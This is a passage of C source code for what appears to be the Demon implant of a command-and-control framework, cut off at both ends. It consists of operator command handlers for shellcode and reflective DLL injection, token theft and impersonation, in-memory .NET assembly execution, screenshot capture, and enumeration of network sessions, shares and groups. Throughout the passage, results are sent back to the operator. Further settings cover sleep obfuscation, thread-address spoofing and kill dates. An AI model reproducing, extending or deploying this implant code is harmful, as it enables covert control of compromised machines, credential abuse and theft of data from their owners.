0 }; UINT32 DllSize = 0; UINT32 ArgSize = 0; UINT32 DllLdrSize = 0; PCHAR DllLdr = ParserGetString( Parser, &DllLdrSize ); PCHAR DllBytes = ParserGetString( Parser, &DllSize ); PCHAR Arguments = ParserGetString( Parser, &ArgSize ); DWORD Result = 0; Package = PackageCreate( DEMON_COMMAND_SPAWN_DLL ); Result = DllSpawnReflective( DllLdr, DllLdrSize, DllBytes, DllSize, Arguments, ArgSize, &InjCtx ); PackageAddInt32( Package, Result ); PackageTransmit( Package ); } VOID CommandInjectShellcode( IN PPARSER Parser ) { PPACKAGE Package = NULL; DWORD Status = INJECT_ERROR_FAILED; DWORD Way = FALSE; DWORD Method = 0; BOOL x64 = FALSE; PVOID Payload = NULL; DWORD Size = 0; PVOID Argv = NULL; DWORD Argc = 0; DWORD Pid = 0; LPWSTR Spawn = NULL; PROC_INFO PcInfo = { 0 }; /* create response package */ Package = PackageCreate( DEMON_COMMAND_INJECT_SHELLCODE ); /* parse arguments */ Way = ParserGetInt32( Parser ); Method = ParserGetInt32( Parser ); x64 = ParserGetInt32( Parser ); Payload = ParserGetBytes( Parser, &Size ); Argv = ParserGetBytes( Parser, &Argc ); Pid = ParserGetInt32( Parser ); PRINTF( "Injection Args: \n" " - Way : %d \n" " - Method : %d \n" " - x64 : %s \n" " - Payload : %p : %d \n" " - Arg : %p : %d \n" " - Pid : %d \n", Way, Method, x64 ? "TRUE" : "FALSE", Payload, Size, Argv, Argc, Pid ) /* dispatch injection way */ switch ( Way ) { case INJECT_WAY_SPAWN: PUTS( "INJECT_WAY_SPAWN" ) { /* use configured target process */ if ( x64 ) { Spawn = Instance->Config.Process.Spawn64; } else { Spawn = Instance->Config.Process.Spawn86; } PRINTF( "Target spawn process: %ls\n", Spawn ) /* create process */ if ( ProcessCreate( ( ! x64 ), NULL, Spawn, CREATE_NO_WINDOW | CREATE_NEW_CONSOLE | CREATE_SUSPENDED, &PcInfo, FALSE, NULL ) ) { PRINTF( "ProcessId is %d\n", PcInfo.dwProcessId ); /* inject code */ Status = Inject( Method, PcInfo.hProcess, 0, x64, Payload, Size, 0, Argv, Argc ); /* terminate process if injection failed */ if ( Status != INJECT_ERROR_SUCCESS ) { ProcessTerminate( PcInfo.hProcess, 0 ); } /* close process handle */ if ( PcInfo.hProcess ) { SysNtClose( PcInfo.hProcess ); } /* close thread handle */ if ( PcInfo.hThread ) { SysNtClose( PcInfo.hThread ); } /* clear struct from stack */ RtlSecureZeroMemory( &PcInfo, sizeof( PROC_INFO ) ); } else { PRINTF( "Failed to create process: %d\n", NtGetLastError() ) } break; } case INJECT_WAY_INJECT: PUTS( "INJECT_WAY_INJECT" ) { Status = Inject( Method, NULL, Pid, x64, Payload, Size, U_PTR( NULL ),Argv, Argc ); break; } case INJECT_WAY_EXECUTE: PUTS( "INJECT_WAY_EXECUTE" ) { Status = Inject( Method, NtCurrentProcess(), 0, x64, Payload, Size, U_PTR( NULL ),Argv, Argc ); break; } default: { PRINTF( "Injection way not found: %d\n", Way ) } } PackageAddInt32( Package, Status ); PackageTransmit( Package ); } VOID CommandToken( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_TOKEN ); DWORD Command = ParserGetInt32( Parser ); PRINTF( "Command => %d\n", Command ) PackageAddInt32( Package, Command ); switch ( Command ) { case DEMON_COMMAND_TOKEN_IMPERSONATE: PUTS( "Token::Impersonate" ) { DWORD dwTokenID = ParserGetInt32( Parser ); PTOKEN_LIST_DATA TokenData = NULL; TokenData = TokenGet( dwTokenID ); if ( TokenData ) { PackageAddInt32( Package, ImpersonateTokenInStore( TokenData ) ); PackageAddString( Package, TokenData->DomainUser ); } else { PUTS( "Token not found in vault." ) PackageTransmitError( CALLBACK_ERROR_TOKEN, 0x1 ); PackageAddInt32( Package, FALSE ); PackageAddInt32( Package, 0 ); } break; } case DEMON_COMMAND_TOKEN_STEAL: PUTS( "Token::Steal" ) { DWORD TargetPid = { 0 }; HANDLE TargetHandle = { 0 }; HANDLE StolenToken = { 0 }; BUFFER UserDomain = { 0 }; DWORD NewTokenID = { 0 }; // TODO: send True or False /* parse arguments */ TargetPid = ParserGetInt32( Parser ); TargetHandle = C_PTR( ParserGetInt32( Parser ) ); /* steal token */ if ( ! ( StolenToken = TokenSteal( TargetPid, TargetHandle ) ) ) { PUTS( "[!] Couldn't get remote process token" ) return; } if ( ! TokenQueryOwner( StolenToken, &UserDomain, TOKEN_OWNER_FLAG_DEFAULT ) ) { PUTS( "Failed to query user/domain from stolen token" ) return; } /* TODO: pass the BUFFER struct to it instead of the PCHAR pointer */ NewTokenID = TokenAdd( StolenToken, UserDomain.Buffer, TOKEN_TYPE_STOLEN, TargetPid, NULL, NULL, NULL ); /* when a new token is stolen, we impersonate it automatically */ if ( ! ImpersonateTokenFromVault( NewTokenID ) ) { PUTS( "Failed to impersonate the token" ) return; } PRINTF( "[^] New Token added to the Vault: %d User:[%ls]\n", NewTokenID, UserDomain.Buffer ); PackageAddBytes( Package, UserDomain.Buffer, UserDomain.Length ); PackageAddInt32( Package, NewTokenID ); PackageAddInt32( Package, TargetPid ); break; } case DEMON_COMMAND_TOKEN_LIST: PUTS( "Token::List" ) { PTOKEN_LIST_DATA TokenList = Instance->Tokens.Vault; DWORD TokenIndex = 0; do { if ( TokenList != NULL ) { PRINTF( "[TOKEN_LIST] Index:[%d] Handle:[0x%x] User:[%s] Pid:[%d]\n", TokenIndex, TokenList->Handle, TokenList->DomainUser, TokenList->dwProcessID ); PackageAddInt32( Package, TokenIndex ); PackageAddInt32( Package, ( DWORD ) ( ULONG_PTR ) TokenList->Handle ); PackageAddWString( Package, TokenList->DomainUser ); PackageAddInt32( Package, TokenList->dwProcessID ); PackageAddInt32( Package, TokenList->Type ); PackageAddInt32( Package, Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == TokenList->Handle ); TokenList = TokenList->NextToken; } else break; TokenIndex++; } while ( TRUE ); break; } case DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST: PUTS( "Token::PrivsGetOrList" ) { PTOKEN_PRIVILEGES TokenPrivs = NULL; DWORD TPSize = 0; DWORD Length = 0; HANDLE TokenHandle = NULL; PCHAR PrivName = NULL; UINT32 PrivNameLength = 0; BOOL ListPrivs = ParserGetInt32( Parser ); PackageAddInt32( Package, ListPrivs ); if ( ListPrivs ) { PUTS( "Privs::List" ) TokenHandle = TokenCurrentHandle(); Instance->Win32.GetTokenInformation( TokenHandle, TokenPrivileges, TokenPrivs, 0, &TPSize ); TokenPrivs = Instance->Win32.LocalAlloc( LPTR, ( TPSize + 1 ) * sizeof( TOKEN_PRIVILEGES ) ); CHAR Name[ MAX_PATH ] = { 0 }; if ( TokenPrivs ) { if ( Instance->Win32.GetTokenInformation( TokenHandle, TokenPrivileges, TokenPrivs, TPSize, &TPSize ) ) { for ( INT i = 0; i < TokenPrivs->PrivilegeCount; i++ ) { Length = MAX_PATH; Instance->Win32.LookupPrivilegeNameA( NULL, &TokenPrivs->Privileges[ i ].Luid, Name, &Length ); PackageAddString( Package, Name ); PackageAddInt32( Package, TokenPrivs->Privileges[ i ].Attributes ); } } } } else { PUTS( "Privs::Get" ) PrivName = ParserGetString( Parser, &PrivNameLength ); PackageAddInt32( Package, TokenSetPrivilege( PrivName, TRUE ) ); PackageAddString( Package, PrivName ); } if ( TokenPrivs ) { MemSet( TokenPrivs, 0, sizeof( TOKEN_PRIVILEGES ) ); Instance->Win32.LocalFree( TokenPrivs ); TokenPrivs = NULL; } break; } case DEMON_COMMAND_TOKEN_MAKE: PUTS( "Token::Make" ) { UINT32 dwUserSize = 0; UINT32 dwPasswordSize = 0; UINT32 dwDomainSize = 0; PWCHAR lpDomain = ParserGetWString( Parser, &dwDomainSize ); PWCHAR lpUser = ParserGetWString( Parser, &dwUserSize ); PWCHAR lpPassword = ParserGetWString( Parser, &dwPasswordSize ); DWORD LogonType = ParserGetInt32( Parser ); CHAR Deli[ 2 ] = { '\\', 0 }; HANDLE hToken = NULL; PWCHAR UserDomain = NULL; LPWSTR BufferUser = NULL; LPWSTR BufferPassword = NULL; LPWSTR BufferDomain = NULL; DWORD UserDomainSize = dwUserSize + dwDomainSize + 1; DWORD NewTokenID = 0; if ( dwUserSize > 0 && dwPasswordSize > 0 && dwDomainSize > 0 ) { PRINTF( "Create new token: Domain:[%ls] User:[%ls] Password:[%ls] LogonType:[%d]\n", lpDomain, lpUser, lpPassword, LogonType ) hToken = TokenMake( lpUser, lpPassword, lpDomain, LogonType ); if ( hToken != NULL ) { UserDomain = Instance->Win32.LocalAlloc( LPTR, UserDomainSize ); MemSet( UserDomain, 0, UserDomainSize ); StringConcatW( UserDomain, lpDomain ); StringConcatW( UserDomain, Deli ); StringConcatW( UserDomain, lpUser ); BufferUser = Instance->Win32.LocalAlloc( LPTR, dwUserSize ); BufferPassword = Instance->Win32.LocalAlloc( LPTR, dwPasswordSize ); BufferDomain = Instance->Win32.LocalAlloc( LPTR, dwDomainSize ); MemCopy( BufferUser, lpUser, dwUserSize ); MemCopy( BufferPassword, lpPassword, dwPasswordSize ); MemCopy( BufferDomain, lpDomain, dwDomainSize ); NewTokenID = TokenAdd( hToken, UserDomain, TOKEN_TYPE_MAKE_NETWORK, ( DWORD ) ( ULONG_PTR ) NtCurrentTeb()->ClientId.UniqueProcess, BufferUser, BufferDomain, BufferPassword ); // when a new token is created, we impersonate it automatically ImpersonateTokenFromVault( NewTokenID ); PRINTF( "UserDomain => %ls\n", UserDomain ) PackageAddWString( Package, UserDomain ); } } break; } case DEMON_COMMAND_TOKEN_GET_UID: PUTS( "Token::GetUID" ) { BUFFER User = { 0 }; HANDLE Token = { 0 }; BOOL Admin = FALSE; /* current handle */ if ( ( Token = TokenCurrentHandle() ) ) { /* query if token is elevated and add it to the package */ PackageAddInt32( Package, TokenElevated( Token ) ); /* query the user of from the current thread/process token */ if ( TokenQueryOwner( Token, &User, TOKEN_OWNER_FLAG_DEFAULT ) ) { PRINTF( "User => %ls [%ld]\n", User.Buffer, User.Length ); PackageAddBytes( Package, User.Buffer, User.Length ); } else { PackageAddBytes( Package, NULL, 0 ); /* TODO: send back error that we couldn't query the user of the token */ } } else { /* something went wrong. let's report that */ PACKAGE_ERROR_WIN32 } /* close handle */ if ( Token ) { SysNtClose( Token ); Token = NULL; } /* free queried owner memory */ if ( User.Buffer ) { MemZero( User.Buffer, User.Length ); MmHeapFree( User.Buffer ); User.Buffer = NULL; } break; } case DEMON_COMMAND_TOKEN_REVERT: PUTS( "Token::Revert" ) { BOOL Success = TokenRevSelf(); PackageAddInt32( Package, Success ); if ( ! Success ) PACKAGE_ERROR_WIN32; Instance->Tokens.Token = NULL; Instance->Tokens.Impersonate = FALSE; break; } case DEMON_COMMAND_TOKEN_REMOVE: PUTS( "Token::Remove" ) { DWORD TokenID = ParserGetInt32( Parser ); PackageAddInt32( Package, TokenRemove( TokenID ) ); PackageAddInt32( Package, TokenID ); break; } case DEMON_COMMAND_TOKEN_CLEAR: PUTS( "Token::Clear" ) { TokenClear(); break; } case DEMON_COMMAND_TOKEN_FIND_TOKENS: PUTS( "Token::Find" ) { PUSER_TOKEN_DATA TokenList = NULL; DWORD NumTokens = 0; BOOL Success = FALSE; DWORD NumDelTokens = 0; DWORD NumImpTokens = 0; DWORD i = 0 ; Success = ListTokens( &TokenList, &NumTokens ); PackageAddInt32( Package, Success ); if ( Success ) { PackageAddInt32( Package, NumTokens ); for (i = 0; i < NumTokens; ++i) { PackageAddWString( Package, TokenList[ i ].username ); PackageAddInt32( Package, TokenList[ i ].dwProcessID ); PackageAddInt32( Package, ( DWORD ) ( ULONG_PTR ) TokenList[ i ].localHandle ); PackageAddInt32( Package, TokenList[ i ].integrity_level ); PackageAddInt32( Package, TokenList[ i ].impersonation_level ); PackageAddInt32( Package, TokenList[ i ].TokenType ); } } if ( TokenList ) { DATA_FREE( TokenList, NumTokens * sizeof( USER_TOKEN_DATA ) ); } break; } } PackageTransmit( Package ); } VOID CommandAssemblyInlineExecute( PPARSER Parser ) { if ( ! Instance->Dotnet ) { BUFFER Buffer = { 0 }; BUFFER AssemblyData = { 0 }; BUFFER AssemblyArgs = { 0 }; Instance->Dotnet = MmHeapAlloc( sizeof( DOTNET_ARGS ) ); Instance->Dotnet->RequestID = Instance->CurrentRequestID; Instance->Dotnet->Invoked = FALSE; /* Parse Pipe Name */ Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length ); Instance->Dotnet->PipeName.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); Instance->Dotnet->PipeName.Length = Buffer.Length; MemCopy( Instance->Dotnet->PipeName.Buffer, Buffer.Buffer, Instance->Dotnet->PipeName.Length ); /* Parse AppDomain Name */ Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length ); Instance->Dotnet->AppDomainName.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); Instance->Dotnet->AppDomainName.Length = Buffer.Length; MemCopy( Instance->Dotnet->AppDomainName.Buffer, Buffer.Buffer, Instance->Dotnet->AppDomainName.Length ); /* Parse Net Version */ Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length ); Instance->Dotnet->NetVersion.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); Instance->Dotnet->NetVersion.Length = Buffer.Length; MemCopy( Instance->Dotnet->NetVersion.Buffer, Buffer.Buffer, Instance->Dotnet->NetVersion.Length ); /* Parse Assembly MemFile */ ULONG32 MemFileID = ParserGetInt32( Parser ); PMEM_FILE MemFile = GetMemFile( MemFileID ); AssemblyData.Buffer = NULL; AssemblyData.Length = 0; if ( MemFile && MemFile->IsCompleted ) { AssemblyData.Buffer = MemFile->Data; AssemblyData.Length = MemFile->Size; } else if ( MemFile && ! MemFile->IsCompleted ) { PRINTF( "MemFile [%x] was not completed\n", MemFileID ); } else { PRINTF( "MemFile [%x] not found\n", MemFileID ); } /* Parse Argument */ AssemblyArgs.Buffer = ParserGetWString( Parser, &Buffer.Length ); PRINTF( "Parsed Arguments: \n" " - PipeName [%d]: %ls \n" " - AppDomain [%d]: %ls \n" " - NetString [%d]: %ls \n" " - AssemblyArgs [%d]: %ls \n" " - AssemblyData [%d]: %p \n", Instance->Dotnet->PipeName.Length, Instance->Dotnet->PipeName.Buffer, Instance->Dotnet->AppDomainName.Length, Instance->Dotnet->AppDomainName.Buffer, Instance->Dotnet->NetVersion.Length, Instance->Dotnet->NetVersion.Buffer, AssemblyArgs.Length, AssemblyArgs.Buffer, AssemblyData.Length, AssemblyData.Buffer ) if ( ! DotnetExecute( AssemblyData, AssemblyArgs ) ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE ); PackageAddInt32( Package, DOTNET_INFO_FAILED ); PackageTransmit( Package ); DotnetClose(); } PUTS( "Finished with Assembly inline execute" ) } else { PUTS( "Dotnet instance already running." ) } } VOID CommandAssemblyListVersion( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_ASSEMBLY_VERSIONS ); PICLRMetaHost pClrMetaHost = { NULL }; PIEnumUnknown pEnumClr = { NULL }; PICLRRuntimeInfo pRunTimeInfo = { NULL }; if ( RtMscoree() ) { if ( Instance->Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)&pClrMetaHost ) == S_OK ) { if ( ( pClrMetaHost )->lpVtbl->EnumerateInstalledRuntimes( pClrMetaHost, &pEnumClr ) == S_OK ) { DWORD dwStringSize = 0; while ( TRUE ) { IUnknown *UPTR = { 0 }; ULONG fetched = 0; if ( pEnumClr->lpVtbl->Next( pEnumClr, 1, &UPTR, &fetched ) == S_OK ) { pRunTimeInfo = ( PICLRRuntimeInfo ) UPTR; if ( pRunTimeInfo->lpVtbl->GetVersionString( pRunTimeInfo, NULL, &dwStringSize ) == HRESULT_FROM_WIN32( ERROR_INSUFFICIENT_BUFFER ) && dwStringSize > 0 ) { LPVOID Version = Instance->Win32.LocalAlloc( LPTR, dwStringSize ); if ( pRunTimeInfo->lpVtbl->GetVersionString( pRunTimeInfo, Version, &dwStringSize ) == S_OK ) { PRINTF( "Version[ %d ]: %ls\n", dwStringSize, Version ); PackageAddWString( Package, Version ); } Instance->Win32.LocalFree( Version ); Version = NULL; dwStringSize = 0; } else PUTS("Failed get Version String") } else break; } } else PUTS("Failed to enumerate") } else PUTS("Failed to CLRCreateInstance"); } else PUTS("Failed to load mscoree.dll") if ( pClrMetaHost ) { pClrMetaHost->lpVtbl->Release( pClrMetaHost ); pClrMetaHost = NULL; } if ( pEnumClr ) { pEnumClr->lpVtbl->Release( pEnumClr ); pEnumClr = NULL; } if ( pRunTimeInfo ) { pRunTimeInfo->lpVtbl->Release( pRunTimeInfo ); pRunTimeInfo = NULL; } PackageTransmit( Package ); } VOID CommandConfig( PPARSER Parser ) { PPACKAGE Package = PackageCreate( DEMON_COMMAND_CONFIG ); UINT32 Config = ParserGetInt32( Parser ); PackageAddInt32( Package, Config ); switch ( Config ) { case DEMON_CONFIG_SHOW_ALL: { break; } case DEMON_CONFIG_IMPLANT_SPFTHREADADDR: { UINT32 LibSize = 0; UINT32 FuncSize = 0; PCHAR Library = ParserGetString( Parser, &LibSize ); PCHAR Function = ParserGetString( Parser, &FuncSize ); UINT32 Offset = ParserGetInt32( Parser ); PVOID ThreadAddr = NULL; PRINTF( "Library => %s\n", Library ); PRINTF( "Function => %s\n", Function ); PRINTF( "Offset => %x\n", Offset ); if ( Library ) { PVOID hLib = NULL; hLib = LdrModuleLoad( Library ); PRINTF( "hLib => %x\n", hLib ); if ( hLib ) { ThreadAddr = LdrFunctionAddr( hLib, HashStringA( Function ) ); if ( ThreadAddr ) { Instance->Config.Implant.ThreadStartAddr = ThreadAddr + Offset; } else { PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_INVALID_FUNCTION ); } PRINTF( "ThreadAddr => %x\n", ThreadAddr ); } else { PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_MOD_NOT_FOUND ); } } PackageAddString( Package, Library ); PackageAddString( Package, Function ); break; } case DEMON_CONFIG_IMPLANT_SLEEP_TECHNIQUE: { Instance->Config.Implant.SleepMaskTechnique = ParserGetInt32( Parser ); PRINTF( "Set sleep obfuscation technique to %d\n", Instance->Config.Implant.SleepMaskTechnique ) PackageAddInt32( Package, Instance->Config.Implant.SleepMaskTechnique ); break; } case DEMON_CONFIG_IMPLANT_VERBOSE: { Instance->Config.Implant.Verbose = ParserGetInt32( Parser ); PackageAddInt32( Package, Instance->Config.Implant.Verbose ); break; } case DEMON_CONFIG_IMPLANT_COFFEE_VEH: { Instance->Config.Implant.CoffeeVeh = ParserGetInt32( Parser ); PackageAddInt32( Package, Instance->Config.Implant.CoffeeVeh ); break; } case DEMON_CONFIG_IMPLANT_COFFEE_THREADED: { Instance->Config.Implant.CoffeeThreaded = ParserGetInt32( Parser ); PackageAddInt32( Package, Instance->Config.Implant.CoffeeThreaded ); break; } case DEMON_CONFIG_MEMORY_ALLOC: { Instance->Config.Memory.Alloc = ParserGetInt32( Parser ); PackageAddInt32( Package, Instance->Config.Memory.Alloc ); break; } case DEMON_CONFIG_MEMORY_EXECUTE: { Instance->Config.Memory.Execute = ParserGetInt32( Parser ); PackageAddInt32( Package, Instance->Config.Memory.Execute ); break; } case DEMON_CONFIG_INJECTION_TECHNIQUE: { Instance->Config.Inject.Technique = ParserGetInt32( Parser ); PackageAddInt32( Package, Instance->Config.Inject.Technique ); break; } case DEMON_CONFIG_INJECTION_SPOOFADDR: { UINT32 LibSize = 0; UINT32 FuncSize = 0; PCHAR Library = ParserGetString( Parser, &LibSize ); PCHAR Function = ParserGetString( Parser, &FuncSize ); UINT32 Offset = ParserGetInt32( Parser ); PVOID ThreadAddr = NULL; PRINTF( "Library => %s\n", Library ); PRINTF( "Function => %s\n", Function ); PRINTF( "Offset => %x\n", Offset ); if ( Library ) { PVOID hLib = NULL; // TODO: check in the current PEB too hLib = LdrModuleLoad( Library ); PRINTF( "hLib => %x\n", hLib ); if ( hLib ) { ThreadAddr = LdrFunctionAddr( hLib, HashStringA( Function ) ); if ( ThreadAddr ) { Instance->Config.Inject.SpoofAddr = ThreadAddr + Offset; } else { PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_INVALID_FUNCTION ); } PRINTF( "ThreadAddr => %x\n", ThreadAddr ); } else PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_MOD_NOT_FOUND ); } PackageAddString( Package, Library ); PackageAddString( Package, Function ); break; } case DEMON_CONFIG_INJECTION_SPAWN64: { UINT32 Size = 0; PVOID Buffer = NULL; if ( Instance->Config.Process.Spawn64 ) { MemSet( Instance->Config.Process.Spawn64, 0, StringLengthW( Instance->Config.Process.Spawn64 ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( Instance->Config.Process.Spawn64 ); Instance->Config.Process.Spawn64 = NULL; } Buffer = ParserGetBytes( Parser, &Size ); Instance->Config.Process.Spawn64 = Instance->Win32.LocalAlloc( LPTR, Size ); MemCopy( Instance->Config.Process.Spawn64, Buffer, Size ); PRINTF( "Instance->Config.Process.Spawn64 => %ls\n", Instance->Config.Process.Spawn64 ); PackageAddWString( Package, Instance->Config.Process.Spawn64 ); break; } case DEMON_CONFIG_INJECTION_SPAWN32: { UINT32 Size = 0; PVOID Buffer = NULL; if ( Instance->Config.Process.Spawn86 ) { MemSet( Instance->Config.Process.Spawn86, 0, StringLengthW( Instance->Config.Process.Spawn86 ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( Instance->Config.Process.Spawn86 ); Instance->Config.Process.Spawn86 = NULL; } Buffer = ParserGetBytes( Parser, &Size ); Instance->Config.Process.Spawn86 = Instance->Win32.LocalAlloc( LPTR, Size ); MemCopy( Instance->Config.Process.Spawn86, Buffer, Size ); PRINTF( "Instance->Config.Process.Spawn86 => %ls\n", Instance->Config.Process.Spawn86 ); PackageAddWString( Package, Instance->Config.Process.Spawn86 ); break; } case DEMON_CONFIG_KILLDATE: { Instance->Config.Transport.KillDate = ParserGetInt64( Parser ); PRINTF( "Instance->Config.Transport.KillDate => %d\n", Instance->Config.Transport.KillDate ); PackageAddInt64( Package, Instance->Config.Transport.KillDate ); break; } case DEMON_CONFIG_WORKINGHOURS: { Instance->Config.Transport.WorkingHours = ParserGetInt32( Parser ); PRINTF( "Instance->Config.Transport.WorkingHours => %d\n", Instance->Config.Transport.WorkingHours ); PackageAddInt32( Package, Instance->Config.Transport.WorkingHours ); break; } default: PackageAddInt32( Package, 0 ); break; } PackageTransmit( Package ); } VOID CommandScreenshot( PPARSER Parser ) { PUTS( "Screenshot" ) PPACKAGE Package = PackageCreate( DEMON_COMMAND_SCREENSHOT ); PVOID Image = NULL; SIZE_T Size = 0; // TODO: add error checking in WinScreenshot and send screenshot in pieces if ( WinScreenshot( &Image, &Size ) ) { PUTS( "Successful took screenshot" ) PackageAddInt32( Package, TRUE ); PackageAddBytes( Package, Image, Size ); } else { PUTS( "Failed to take screenshot" ) PackageAddInt32( Package, FALSE ); } PackageTransmit( Package ); } // TODO: The Net module is unstable so fix those issues to work on normal workstation and domain server VOID CommandNet( PPARSER Parser ) { PUTS( "NET COMMAND" ) PPACKAGE Package = PackageCreate( DEMON_COMMAND_NET ); UINT32 NetCommand = ParserGetInt32( Parser ); PackageAddInt32( Package, NetCommand ); switch ( NetCommand ) { case DEMON_NET_COMMAND_DOMAIN: { PUTS( "DEMON_NET_COMMAND_DOMAIN" ) LPSTR Domain = NULL; DWORD Length = 0; if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &Length ) ) { if ( ( Domain = Instance->Win32.LocalAlloc( LPTR, Length ) ) ) { if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, Domain, &Length ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto DOMAIN_CLEANUP; } } else goto DOMAIN_CLEANUP; } else goto DOMAIN_CLEANUP; PackageAddString( Package, Domain ); DATA_FREE( Domain, Length ); break; DOMAIN_CLEANUP: DATA_FREE( Domain, Length ); PackageDestroy( Package ); Package = NULL; return; } case DEMON_NET_COMMAND_LOGONS: { PUTS( "DEMON_NET_COMMAND_LOGONS" ) LPWKSTA_USER_INFO_0 UserInfo = NULL; DWORD dwLevel = 0; DWORD dwEntriesRead = 0; DWORD dwTotalEntries = 0; DWORD dwResumeHandle = 0; DWORD NetStatus = 0; UINT32 UserNameSize = 0; LPWSTR ServerName = NULL; ServerName = ParserGetWString( Parser, &UserNameSize ); PackageAddWString( Package, ServerName ); UserNameSize = 0; do { NetStatus = Instance->Win32.NetWkstaUserEnum( ServerName, dwLevel, (LPBYTE*)&UserInfo, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { for ( INT i = 0; ( i < dwEntriesRead ); i++ ) { if ( UserInfo == NULL ) break; PackageAddWString( Package, UserInfo[i].wkui0_username ); } } else { NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NetStatus ) ); PRINTF( "NetWkstaUserEnum: Failed [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto CLEANUP; } if ( UserInfo ) { Instance->Win32.NetApiBufferFree( UserInfo ); UserInfo = NULL; } } while ( NetStatus == ERROR_MORE_DATA ); if ( UserInfo != NULL ) Instance->Win32.NetApiBufferFree( UserInfo ); break; CLEANUP: if ( UserInfo != NULL ) Instance->Win32.NetApiBufferFree( UserInfo ); PackageDestroy( Package ); Package = NULL; return; } case DEMON_NET_COMMAND_SESSIONS: { PUTS( "DEMON_NET_COMMAND_SESSIONS" ) LPSESSION_INFO_10 SessionInfo = NULL; DWORD EntriesRead = 0; DWORD TotalEntries = 0; DWORD ResumeHandle = 0; LPWSTR ServerName = NULL; DWORD NetStatus = 0; UINT32 UserNameSize = 0; ServerName = ParserGetWString( Parser, &UserNameSize ); PackageAddWString( Package, ServerName ); UserNameSize = 0; do { NetStatus = Instance->Win32.NetSessionEnum( ServerName, NULL, NULL, 10, (LPBYTE*)&SessionInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, &ResumeHandle ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { for ( INT i = 0; i < EntriesRead ; i++ ) { if ( SessionInfo == NULL ) break; PackageAddWString( Package, SessionInfo[i].sesi10_username ); PackageAddWString( Package, SessionInfo[i].sesi10_username ); PackageAddInt32( Package, SessionInfo[i].sesi10_time ); PackageAddInt32( Package, SessionInfo[i].sesi10_idle_time ); } } else { PRINTF( "NetSessionEnum: Failed [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto SESSION_CLEANUP; } if ( SessionInfo ) { Instance->Win32.NetApiBufferFree( SessionInfo ); SessionInfo = NULL; } } while ( NetStatus == ERROR_MORE_DATA ); if ( SessionInfo ) Instance->Win32.NetApiBufferFree( SessionInfo ); break; SESSION_CLEANUP: if ( SessionInfo ) Instance->Win32.NetApiBufferFree( SessionInfo ); PackageDestroy( Package ); Package = NULL; return; } case DEMON_NET_COMMAND_COMPUTER: { PUTS( "DEMON_NET_COMMAND_COMPUTER" ) break; } case DEMON_NET_COMMAND_DCLIST: { PUTS( "DEMON_NET_COMMAND_DCLIST" ) break; } case DEMON_NET_COMMAND_SHARE: { PUTS( "DEMON_NET_COMMAND_SHARE" ) PSHARE_INFO_502 ShareInfo = NULL; DWORD NetStatus = 0; DWORD Entries = 0; DWORD TotalEntries = 0; DWORD Resume = 0; LPWSTR ServerName = NULL; UINT32 ServerSize = 0; ServerName = ParserGetWString( Parser, &ServerSize ); PackageAddWString( Package, ServerName ); do { NetStatus = Instance->Win32.NetShareEnum( ServerName, 502, (LPBYTE*)&ShareInfo, MAX_PREFERRED_LENGTH, &Entries, &TotalEntries, &Resume ); if( ( NetStatus == ERROR_SUCCESS ) || ( NetStatus == ERROR_MORE_DATA ) ) { for( DWORD i = 0; i < Entries; i++ ) { PRINTF( "%-5ls %-20ls %d %-20ls\n", ShareInfo[i].shi502_netname, ShareInfo[i].shi502_path, ShareInfo[i].shi502_permissions, ShareInfo[i].shi502_remark ); PackageAddWString( Package, ShareInfo[i].shi502_netname ); PackageAddWString( Package, ShareInfo[i].shi502_path ); PackageAddWString( Package, ShareInfo[i].shi502_remark ); PackageAddInt32( Package, ShareInfo[i].shi502_permissions ); } Instance->Win32.NetApiBufferFree( ShareInfo ); ShareInfo = NULL; } else PRINTF( "Error: %ld\n", NetStatus ); } while ( NetStatus == ERROR_MORE_DATA ); break; } case DEMON_NET_COMMAND_LOCALGROUP: { PUTS( "DEMON_NET_COMMAND_LOCALGROUP" ) PLOCALGROUP_INFO_1 GroupInfo = NULL; DWORD EntriesRead = 0; DWORD TotalEntries = 0; DWORD NetStatus = 0; LPWSTR ServerName = NULL; UINT32 ServerSize = 0; ServerName = ParserGetWString( Parser, &ServerSize ); PackageAddWString( Package, ServerName ); PRINTF( "ServerName => %ls\n", ServerName ); NetStatus = Instance->Win32.NetLocalGroupEnum( ServerName, 1, (LPBYTE*)&GroupInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, NULL ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { PUTS( "NetLocalGroupEnum => Success" ) if ( GroupInfo ) { for( DWORD i = 0; i < EntriesRead; i++ ) { PackageAddWString( Package, GroupInfo[ i ].lgrpi1_name ); PackageAddWString( Package, GroupInfo[ i ].lgrpi1_comment ); } 